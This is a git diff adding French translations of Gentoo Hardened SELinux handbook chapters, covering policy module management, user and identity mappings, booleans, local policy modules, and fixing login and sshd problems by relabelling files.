+noyau. La structure est assez similaire au noyau lui-même et à ses
+modules&nbsp;: une image principale du noyau est chargée, puis plusieurs
+modules du noyau peuvent être ajoutés (à condition que leurs dépendances soient
+satisfaites) et supprimés, à chaud, sans redémarrer le système. De même,
+chaque politique est constituée d'un module de base et d'un nombre
+éventuellement nul de modules de politiques qui forment la politique. Les
+modules sont construits en compilant un morceau de politique et en créant un
+paquet de politique (*.pp) contenant la politique compilée et éventuellement
+des contextes de fichiers.
+</p>
+
+<p>
+Le paquet du module de base (base.pp) contient le strict nécessaire de la
+politique. Toutes les politiques modulaires doivent au moins avoir leur module
+de base. Dans Gentoo, nous avons rajouté dans ce paquet des politiques pour
+toutes les parties du profil système. Il est installé par l'ebuild
+<c>selinux-base-policy</c>. Les autres ebuilds dans Portage contiennent un ou
+plusieurs modules de politiques.
+</p>
+
+<p>
+Pour plus d'informations à propos de l'écriture d'un module de politique, en
+particulier pour pouvoir personnaliser une politique, veuillez consulter le
+<uri link="selinux-handbook.xml?part=3&amp;chap=5">guide des modules de
+politiques</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Le magasin de modules SELinux</title>
+<body>
+
+<p>
+Lorsqu'un module de politique est inséré ou supprimé, les modules sont copiés
+depuis ou supprimé du magasin de modules. Ce dépôt contient une copie des
+modules qui ont été utilisés pour créer la politique courante, ainsi que
+plusieurs fichiers annexes. Ce dépôt se trouve dans
+<path>/etc/selinux/{strict,targeted}/modules</path>. Vous ne devrez jamais
+avoir besoin d'accéder à ces fichiers directement. Un outil basé sur
+libsemanage devrait s'en occuper pour vous.
+</p>
+
+<p>
+Libsemanage manipule le magasin de modules à l'aide de transaction. Cela
+signifie que si un ensemble d'opérations (une transaction) sont exécutées sur
+le magasin et qu'une partie échoue, alors la transaction entière est annulée.
+Cela empêche le magasin de se retrouver dans un état incohérent.
+</p>
+
+<p>
+La gestion du magasin de modules passe par la commande <c>semodule</c>.
+L'option <c>-l</c> permet d'en lister son contenu.
+</p>
+
+<pre caption="Lister le contenu du magasin">
+# <i>semodule -l</i>
+distcc  1.1.1
+</pre>
+
+<p>
+Puisque le module de base est requis dans tous les cas et qu'il n'a pas de
+version, il n'est pas affiché dans la liste. Tous les autres modules sont
+affichés avec leur version.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ajouter un module de politique</title>
+<body>
+
+<p>
+Le module est référencé par son nom.
+</p>
+
+<pre caption="Insérer un module">
+# <i>semodule -i module.pp</i>
+</pre>
+
+<p>
+Cela insérera le module dans le magasin de la politique actuellement
+configurée, comme spécifié dans <path>/etc/selinux/config</path>. Si
+l'insertion réussit, la politique sera chargée, sauf si l'option <c>-n</c> est
+spécifiée. Pour charger le module dans un autre magasin de modules, utilisez
+l'option <c>-s</c>.
+</p>
+
+<pre caption="Insérer un module dans un autre magasin">
+# <i>semodule -s targeted -i module.pp</i>
+</pre>
+
+<p>
+Puisque nous spécifions un autre magasin, la politique ne sera pas chargée.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Retirer un module de politique</title>
+<body>
+
+<p>
+Le module est référencé par son nom dans le magasin de modules.
+</p>
+
+<pre caption="Supprimer un module">
+# <i>semodule -r module</i>
+</pre>
+
+<p>
+Cela supprimera le module du magasin de la politique courante, spécifiée dans
+<path>/etc/selinux/config</path>. Si la suppression a marché, la politique sera
+rechargée, sauf si l'option <c>-n</c> a été spécifiée. L'option <c>-s</c>
+fonctionne également pour une suppression de module.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Configurer les associations d'identifiants d'utilisateurs</title>
+<subsection>
+<body>
+
+<p>
+La méthode actuelle pour assigner des ensembles de rôles à un utilisateur est
+de mettre en place une liste d'associations entre les utilisateurs Linux et les
+identités SELinux. Lorsqu'un utilisateur se connecte, le programme <c>login</c>
+utilisera cette liste pour associer la bonne identité SELinux à l'utilisateur.
+S'il n'y a pas d'association pour un utilisateur, on utilise l'entrée
+<c>__default__</c>.
+</p>
+
+<p>
+La gestion des associations entre utilisateurs Linux et identités SELinux est
+réalisée par <c>semanage</c>.
+</p>
+
+<pre caption="Associations entre utilisateurs Linux et identités SELinux">
+# <i>semanage login -l</i>
+Login Name                SELinux User
+
+__default__               user_u
+root                      root
+</pre>
+</body>
+
+</subsection>
+<subsection>
+<title>Ajouter une entrée</title>
+<body>
+
+<p>
+Pour faire correspondre l'utilisateur <c>pebenito</c> à l'identité
+<c>staff_u</c>&nbsp;:
+</p>
+
+<pre caption="Associer une identité à un utilisateur">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+
+<p>
+La <uri link="selinux-handbook.xml?part=3&amp;chap=1#doc_chap3">vue d'ensemble
+de SELinux</uri> contient une description des identités disponibles.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Supprimer une entrée</title>
+<body>
+
+<p>
+Pour supprimer l'association de l'utilisateur <c>pebenito</c>&nbsp;:
+</p>
+
+<pre caption="Supprimer l'identité d'un utilisateur">
+# <i>semanage login -d pebenito</i>
+</pre>
+
+<note>
+Les associations d'identités spécifiées par la politique (pas par
+l'infrastructure de gestion) ne peuvent pas être supprimées.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Configurer les valeurs par défaut des booléens</title>
+<subsection>
+<body>
+
+<p>
+Le programme <c>setsebool</c> est maintenant un outil utilisant libsemanage. La
+fonction de base de cet outil est d'assigner une valeur à un booléen. Pourtant,
+si la machine est redémarrée, les booléens seront tous réinitialisés à la
+valeur spécifiée dans la politique. Pour configurer une valeur tout en
+demandant qu'elle soit par défaut dans la politique, utilisez l'option
+<c>-P</c>.
+</p>
+
+<pre caption="Configurer les valeurs par défaut des booléens">
+# <i>setsebool -P fcron_crond 1</i>
+</pre>
+
+<p>
+La commande précédente définit la valeur du booléen fcron_crond à 1 et définit
+également cette valeur comme étant celle par défaut.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Configurer les identités de SELinux</title>
+<subsection>
+<body>
+
+<p>
+En principe, on n'a pas besoin d'ajouter des identités de SELinux à la
+politique de sécurité, car les associations identité/login suffisent. Une bonne
+raison d'ajouter une nouvelle identité serait pour améliorer les audits, car
+l'identité SELinux apparait directement dans le contexte du message de refus
+d'accès.
+</p>
+
+<p>
+La gestion des identités SELinux est assurée par l'outil <c>semanage</c>.
+</p>
+
+<pre caption="Lister les identités SELinux">
+# <i>semanage user -l</i>
+SELinux User    SELinux Roles
+
+root            sysadm_r staff_r
+staff_u         sysadm_r staff_r
+sysadm_u        sysadm_r
+system_u        system_r
+user_u          user_r
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Ajouter une identité SELinux</title>
+<body>
+
+<p>
+En plus de lister les rôles de l'identité, il faut spécifier un préfixe. Ce
+préfixe doit correspondre à un rôle, par exemple <c>staff</c> ou <c>sysadm</c>,
+et est utilisé pour étiqueter les répertoires racines des utilisateurs. Si le
+préfixe utilisé est <c>staff</c>, les utilisateurs Linux qui seront associés à
+cette identité auront leur répertoire racine étiqueté <c>staff_home_dir_t</c>.
+</p>
+
+<p>
+Pour ajouter l'identité <c>test_u</c> contenant les rôles <c>staff_r</c> et
+<c>sysadm_r</c> avec le préfixe <c>staff</c>&nbsp;:
+</p>
+
+<pre caption="Ajouter une identité SELinux">
+# <i>semanage user -a -R 'staff_r sysadm_r' -P staff test_u</i>
+</pre>
+
+<note>
+Pour pouvoir utiliser l'identité, il faut aussi ajouter une association avec un
+login.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Supprimer une identité SELinux</title>
+<body>
+
+<p>
+Pour supprimer l'identité SELinux <c>test_u</c>&nbsp;:
+</p>
+
+<pre caption="Supprimer une identité SELinux">
+# <i>semanage user -d test_u</i>
+</pre>
+
+<note>
+Les identités SELinux créées par la politique (par opposition à celles créées
+par l'infrastructure de gestion) ne peuvent pas être supprimées.
+</note>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-localmod.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-localmod.xml
new file mode 100644
index 00000000..bd438ea5
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-localmod.xml
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-localmod.xml,v 1.1 2009/02/23 23:34:25 cam Exp $ -->
+
+<sections>
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section>
+<title>Introduction</title>
+<subsection>
+<body>
+
+<p>
+Ce guide explique comment mettre en place un module de politique permettant
+l'ajout de règles locales à la politique.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Préparation</title>
+<subsection>
+<body>
+
+<p>
+Copiez l'exemple de Makefile depuis le répertoire doc de selinux-base-policy
+vers le répertoire qui sera utilisé pour la construction de la politique. Il
+est suggéré d'utiliser <path>/root/</path>. Les endroits dans lesquels
+<c>semodule</c> peut lire les modules de politique comprennent les répertoires
+utilisateurs des sysadm.
+</p>
+
+<pre caption="Récupérer un Makefile initial">
+# <i>zcat /usr/share/doc/selinux-base-policy-20061008/Makefile.example.gz > /root/Makefile</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Écrire un fichier TE</title>
+<subsection>
+<body>
+
+<p>
+La plupart des déclarations sont utilisables dans un module, ainsi que quelques
+déclarations supplémentaires.
+</p>
+
+<pre caption="Exemple de local.te">
+policy_module(local,1.0)
+
+require {
+  type sysadm_su_t, newrole_t;
+}
+allow sysadm_su_t newrole_t:process sigchld;
+</pre>
+
+<p>
+En plus des règles de base, quelques déclarations sont requises par les modules
+de politiques. La première est une macro policy_module() qui contient le nom du
+module et sa version. Le bloc require suivant spécifie tous les types qui sont
+requis afin que le module puisse fonctionner. Tous les types utilisés dans un
+module doivent soit être déclarés dans ce module, soit requis par ce module.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Écrire un fichier FC (facultatif)</title>
+<subsection>
+<body>
+
+<p>
+Le fichier de contextes est facultatif et utilise la même syntaxe que
+d'habitude.
+</p>
+
+<pre caption="Exemple de local.fc">
+/opt/myprogs/mybin  system_u:object_r:bin_t
+</pre>
+
+<p>
+Les types utilisés dans ce fichier de contexte doivent être requis ou déclarés
+dans le fichier TE.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Compiler les modules de politique</title>
+<subsection>
+<body>
+
+<p>
+Lancez simplement <c>make</c> pour construire tous les modules du répertoire.
+Chaque module sera compilé pour fonctionner avec la politique courante, comme
+spécifié dans <path>/etc/selinux/config</path>.
+</p>
+
+<pre caption="Construction des modules">
+# <i>make</i>
+Compiling strict local module
+/usr/bin/checkmodule:  loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:  policy configuration loaded
+/usr/bin/checkmodule:  writing binary representation (version 6) to tmp/local.mod
+Creating strict local.pp policy package
+</pre>
+
+<p>
+Pour construire un module pour une politique différente que celle en place,
+utilisez l'option <c>NAME=</c>.
+</p>
+
+<pre caption="Construction des modules">
+# <i>make NAME=targeted</i>
+Compiling targeted local module
+/usr/bin/checkmodule:  loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:  policy configuration loaded
+/usr/bin/checkmodule:  writing binary representation (version 6) to tmp/local.mod
+Creating targeted local.pp policy package
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Charger les modules</title>
+<subsection>
+<body>
+
+<p>
+Les modules peuvent être chargés dans la politique courante simplement en
+utilisant la cible load du Makefile.
+</p>
+
+<pre caption="Charger les modules de politique">
+# <i>make load</i>
+</pre>
+
+<p>
+La cible load respecte également l'option <c>NAME=</c>. Accessoirement, la
+commande <c>semodule</c> peut être aussi utilisée pour charger des modules
+individuellement.
+</p>
+
+<pre caption="Charger un module individuel">
+# <i>semodule -i local.pp</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Faire un module avec la SELinux Reference Policy</title>
+<subsection>
+<body>
+
+<p>
+La nouvelle politique de Gentoo est basée sur la <uri
+link="http://oss.tresys.com/projects/refpolicy">SELinux Reference Policy</uri>.
+Pour plus d'information à propos de la construction d'un module selon SELinux
+Reference Policy, consultez le <uri
+link="http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted">wiki
+Reference Policy</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-loglocal.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-loglocal.xml
new file mode 100644
index 00000000..41355424
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-loglocal.xml
@@ -0,0 +1,261 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-loglocal.xml,v 1.1 2009/02/23 23:40:32 cam Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Sommaire</title>
+<subsection>
+<body>
+
+<p>
+Vous devez être dans <c>sysadm_r</c> pour effectuer ces actions.
+</p>
+
+<p>
+Lancez <c>sestatus -v</c> et cliquez sur le premier contexte qui ne correspond
+pas&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Processus</th>
+  <th>Contexte</th>
+</tr>
+<tr>
+  <ti>Init context</ti>
+  <ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti>
+</tr>
+<tr>
+  <ti>/sbin/agetty</ti>
+  <ti><uri link="#doc_chap3">system_u:system_r:getty_t</uri></ti>
+</tr>
+<tr>
+  <th>Fichier</th>
+  <th>Contexte</th>
+</tr>
+<tr>
+  <ti>/bin/login</ti>
+  <ti><uri link="#doc_chap4">system_u:object_r:login_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/sbin/unix_chkpwd</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:chkpwd_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/passwd</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:etc_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/shadow</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:shadow_t</uri></ti>
+</tr>
+<tr>
+  <ti>/bin/bash</ti>
+  <ti><uri link="#doc_chap7">system_u:object_r:shell_exec_t</uri></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte d'init est incorrect</title>
+<subsection>
+<title>Vérifier l'étiquette d'init</title>
+<body>
+
+<p>
+Plusieurs raisons peuvent être à l'origine d'un mauvais contexte pour init.
+Tout d'abord, vérifiez qu'init est correctement étiqueté en vous référant au
+résultat de sestatus concernant <path>/sbin/init</path>. Si ce n'est pas
+<c>system_u:object_r:init_exec_t</c>, ré-étiquetez sysvinit.
+</p>
+
+<pre caption="Réparer le contexte d'init">
+# <i>rlpkg sysvinit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Vérifier la disponibilité de la politique</title>
+<body>
+
+<p>
+Vous devez être dans <c>sysadm_r</c> pour effectuer cette action.
+</p>
+
+<p>
+Une politique binaire doit être disponible dans
+<path>/etc/selinux/{strict,targeted}/policy</path>. Si ce n'est pas le cas,
+installez la politique.
+</p>
+
+<pre caption="Installer la politique">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Vérifier qu'init peut charger la politique</title>
+<body>
+
+<p>
+La dernière vérification consiste à s'assurer qu'<c>init</c> puisse charger la
+politique. Exécutez <c>ldd</c> sur <path>/sbin/init</path> et, si libselinux ne
+fait pas partie des bibliothèques listées, réinstallez sysvinit.
+</p>
+
+<pre caption="Vérifier la liaison d'init à libselinux">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+Maintenant, redémarrez afin qu'init obtienne le bon contexte et puisse charger
+la politique.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte d'Agetty est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Vérifier qu'Agetty est étiqueté correctement. Selon la sortie de sestatus
+concernant <path>/sbin/agetty</path>, si le contexte n'est pas
+<c>system_u:object_r:getty_exec_t</c>, ré-étiquetez util-linux. Ensuite,
+redémarrez tous les Agetty.
+</p>
+
+<pre caption="Réparer le contexte d'Agetty">
+# <i>rlpkg util-linux</i>
+# <i>killall agetty</i> <comment>(Ils se relancent tous seuls.)</comment>
+</pre>
+
+<p>
+Tous les Agetty devraient maintenant se trouver dans le contexte
+<c>system_u:object_r:getty_exec_t</c>. Essayez de vous reconnecter à nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte de Login est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Le programme Login (<path>/bin/login</path>) n'est pas étiqueté correctement.
+Ré-étiquetez shadow.
+</p>
+
+<pre caption="Ré-étiquetez shadow">
+# <i>rlpkg shadow</i>
+</pre>
+
+<p>
+Le contexte de <path>/bin/login</path> devrait maintenant être
+<c>system_u:object_r:login_exec_t</c>. Essayez de vous reconnecter à nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte de PAM est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Sshd doit pouvoir utiliser PAM pour authentifier les utilisateurs. Le programme
+de PAM qui vérifie le mot de passe (<path>/sbin/unix_chkpwd</path>) doit être
+étiqueté correctement afin que Sshd puisse transiter vers le contexte de
+vérification du mot de passe. Ré-étiquetez PAM.
+</p>
+
+<pre caption="Réparer le contexte d'unix_chkpwd">
+# <i>rlpkg pam</i>
+</pre>
+
+<p>
+Le contexte du programme de vérification de mot de passe devrait maintenant
+être <c>system_u:object_r:chkpwd_exec_t</c>. Essayez de vous reconnecter à
+nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les contextes des fichiers de mots de passes sont incorrects</title>
+<subsection>
+<body>
+
+<p>
+Le fichier passwd (<path>/etc/passwd</path>) et shadow
+(<path>/etc/shadow</path>) doivent être correctement étiquetés sinon PAM ne
+pourra pas authentifier les utilisateurs. Ré-étiquetez les fichiers.
+</p>
+
+<pre caption="Réparer les contextes des fichiers de mots de passes">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+
+<p>
+Leur contexte devraient maintenant être respectivement
+<c>system_u:object_r:etc_t</c> et <c>system_u:object_r:shadow_t</c>. Essayez de
+vous reconnecter à nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte de Bash est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Bash doit être correctement étiqueté afin que l'utilisateur puisse transiter
+vers son domaine lors de la connexion. Ré-étiquetez bash.
+</p>
+
+<pre caption="Réparer le contexte de bash">
+# <i>rlpkg bash</i>
+</pre>
+
+<p>
+Bash (<path>/bin/bash</path>) doit maintenant avoir le contexte
+<c>system_u:object_r:shell_exec_t</c>. Essayez de vous reconnecter à nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-logremote.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-logremote.xml
new file mode 100644
index 00000000..38b156dc
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-logremote.xml
@@ -0,0 +1,278 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-logremote.xml,v 1.1 2009/02/23 23:43:33 cam Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2004-11-16</date>
+
+<section>
+<title>Sommaire</title>
+<subsection>
+<body>
+
+<p>
+Vous devez être dans <c>sysadm_r</c> pour effectuer ces actions.
+</p>
+
+<p>
+Lancez <c>sestatus -v</c> et cliquez sur le premier contexte qui ne correspond
+pas&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Processus</th>
+  <th>Contexte</th>
+</tr>
+<tr>
+  <ti>Init context</ti>
+  <ti><uri link="#doc_chap2">system_u:system_r:init_t</uri></ti>
+</tr>
+<tr>
+  <ti>/usr/sbin/sshd</ti>
+  <ti><uri link="#doc_chap3">system_u:system_r:sshd_t</uri></ti>
+  </tr>
+<tr>
+  <th>File</th>
+  <th>Context</th>
+</tr>
+<tr>
+  <ti>/sbin/unix_chkpwd</ti>
+  <ti><uri link="#doc_chap4">system_u:object_r:chkpwd_exec_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/passwd</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:etc_t</uri></ti>
+</tr>
+<tr>
+  <ti>/etc/shadow</ti>
+  <ti><uri link="#doc_chap5">system_u:object_r:shadow_t</uri></ti>
+</tr>
+<tr>
+  <ti>/bin/bash</ti>
+  <ti><uri link="#doc_chap6">system_u:object_r:shell_exec_t</uri></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte d'init est incorrect</title>
+<subsection>
+<title>Vérifier l'étiquette d'init</title>
+<body>
+
+<p>
+Plusieurs raisons peuvent être à l'origine d'un mauvais contexte pour init.
+Tout d'abord, vérifiez qu'init est correctement étiqueté en vous référant au
+résultat de sestatus concernant <path>/sbin/init</path>. Si ce n'est pas
+<c>system_u:object_r:init_exec_t</c>, ré-étiquetez sysvinit.
+</p>
+
+<pre caption="Réparer le contexte d'init">
+# <i>rlpkg sysvinit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Vérifier la disponibilité de la politique</title>
+<body>
+
+<p>
+Vous devez être dans <c>sysadm_r</c> pour effectuer cette action.
+</p>
+
+<p>
+Une politique binaire doit être disponible dans
+<path>/etc/selinux/{strict,targeted}/policy</path>. Si ce n'est pas le cas,
+installez la politique.
+</p>
+
+<pre caption="Installer la politique">
+# <i>semodule -n -B</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Vérifier qu'init peut charger la politique</title>
+<body>
+
+<p>
+La dernière vérification consiste à s'assurer qu'<c>init</c> puisse charger la
+politique. Exécutez <c>ldd</c> sur <path>/sbin/init</path> et, si libselinux ne
+fait pas partie des bibliothèques listées, réinstallez sysvinit.
+</p>
+
+<pre caption="Vérifier la liaison d'init à libselinux">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+
+<p>
+Maintenant, redémarrez afin qu'init obtienne le bon contexte et puisse charger
+la politique.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte de Sshd est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Une autre possibilité est que sshd ne soit pas étiqueté correctement et qu'il
+ne tourne donc pas dans le bon domaine. Ré-étiquetez openssh, puis relancez
+sshd.
+</p>
+
+<pre caption="Réparer le contexte de sshd">
+# <i>rlpkg openssh</i>
+# <i>/etc/init.d/sshd restart</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte de PAM est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Sshd doit pouvoir utiliser PAM pour authentifier les utilisateurs. Le programme
+de PAM qui vérifie le mot de passe (<path>/sbin/unix_chkpwd</path>) doit être
+étiqueté correctement afin que Sshd puisse transiter vers le contexte de
+vérification du mot de passe. Ré-étiquetez PAM.
+</p>
+
+<pre caption="Réparer le contexte d'unix_chkpwd">
+# <i>rlpkg pam</i>
+</pre>
+
+<p>
+Le contexte du programme de vérification de mot de passe devrait maintenant
+être <c>system_u:object_r:chkpwd_exec_t</c>. Essayez de vous reconnecter à
+nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les contextes des fichiers de mots de passes sont incorrects</title>
+<subsection>
+<body>
+
+<p>
+Le fichier passwd (<path>/etc/passwd</path>) et shadow
+(<path>/etc/shadow</path>) doivent être correctement étiquetés sinon PAM ne
+pourra pas authentifier les utilisateurs. Ré-étiquetez les fichiers.
+</p>
+
+<pre caption="Réparer les contextes des fichiers de mots de passes">
+# <i>restorecon /etc/passwd /etc/shadow</i>
+</pre>
+
+<p>
+Leur contexte devraient maintenant être respectivement
+<c>system_u:object_r:etc_t</c> et <c>system_u:object_r:shadow_t</c>. Essayez de
+vous reconnecter à nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Le contexte de Bash est incorrect</title>
+<subsection>
+<body>
+
+<p>
+Bash doit être correctement étiqueté afin que l'utilisateur puisse transiter
+vers son domaine lors de la connexion. Ré-étiquetez bash.
+</p>
+
+<pre caption="Réparer le contexte de bash">
+# <i>rlpkg bash</i>
+</pre>
+
+<p>
+Bash (<path>/bin/bash</path>) doit maintenant avoir le contexte
+<c>system_u:object_r:shell_exec_t</c>. Essayez de vous reconnecter à nouveau.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Autres problèmes avec sshd</title>
+<subsection>
+<title>Validité du shell</title>
+<body>
+
+<p>
+Premièrement, assurez-vous que le shell de l'utilisateur est valide.
+</p>
+
+<pre caption="Validité du shell">
+# <i>grep</i> <comment>utilisateur</comment> <i>/etc/passwd | cut -d: -f7</i>
+/bin/bash <comment>(Doit renvoyer le shell de l'utilisateur.)</comment>
+</pre>
+
+<p>
+Si la commande précédente ne renvoie rien ou renvoie un shell incorrect,
+redéfinissez le shell de cet utilisateur.
+</p>
+
+<pre caption="Définir le shell de l'utilisateur">
+# <i>usermod -s /bin/bash</i> <comment>utilisateur</comment>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>PAM activé</title>
+<body>
+
+<p>
+PAM doit être activé dans sshd. Vérifiez que cette ligne soit bien décommentée
+dans le fichier <path>/etc/ssh/sshd_config</path>&nbsp;:
+</p>
+
+<pre caption="Sshd doit utiliser PAM">
+UsePAM yes
+</pre>
+
+<p>
+SELinux ne permet actuellement qu'à PAM et à quelques rares autres programmes
+d'accéder directement au fichier <path>/etc/shadow</path>. Openssh doit donc
+utiliser PAM pour la vérification des mots de passes (cela ne concerne donc pas
+l'accès par clé publique).
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-overview.xml b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-overview.xml
new file mode 100644
index 00000000..2e526a77
--- /dev/null
+++ b/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-overview.xml
@@ -0,0 +1,731 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- Le contenu de ce document est sous licence CC-BY-SA. -->
+<!-- Voir http://creativecommons.org/licenses/by-sa/1.0/deed.fr -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/hardened/selinux/hb-selinux-overview.xml,v 1.1 2009/02/23 23:02:07 cam Exp $ -->
+
+<sections>
+<version>1.5</version>
+<date>2008-05-16</date>
+
+<!--
+<section><title>Mandatory Access Control</title>
+<subsection><body>
+<p>
+   Security Enhanced Linux is an implementation of mandatory access control
+   (MAC) using type enforcement.  In Linux, the regular security permissions
+   are a discretionary access control system (DAC).  In DAC, the permissions
+   for a particular object, such as a file, are set at the discrection of the
+   owner and can be changed at any time by the owner.  In MAC, the access a
+   process or user has to an object is defined by the operating system
+   security policy, and cannot be bypassed.
+!!! still need to update other links in the handbook
+</p>
+</body></subsection>
+</section>
+-->   
+
+<section>
+<title>Les types SELinux</title>
+<subsection>
+<body>
+
+<p>
+Un type SELinux est un attribut de sécurité assigné à un objet (un fichier, un
+port réseau, etc.). Le type d'un processus est communément appelé son domaine.
+Une politique de sécurité SELinux est principalement constituée de règles pour
+respecter les types, qui décrivent de quelles manières les domaines sont
+autorisés à interagir avec les objets et avec les autres domaines. Un type est
+généralement suffixé par «&nbsp;_t&nbsp;», par exemple&nbsp;: <c>sysadm_t</c>.
+Le type est l'attribut le plus important pour un processus ou un objet, car la
+plupart des décisions politiques se basent sur les types sources et cibles.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
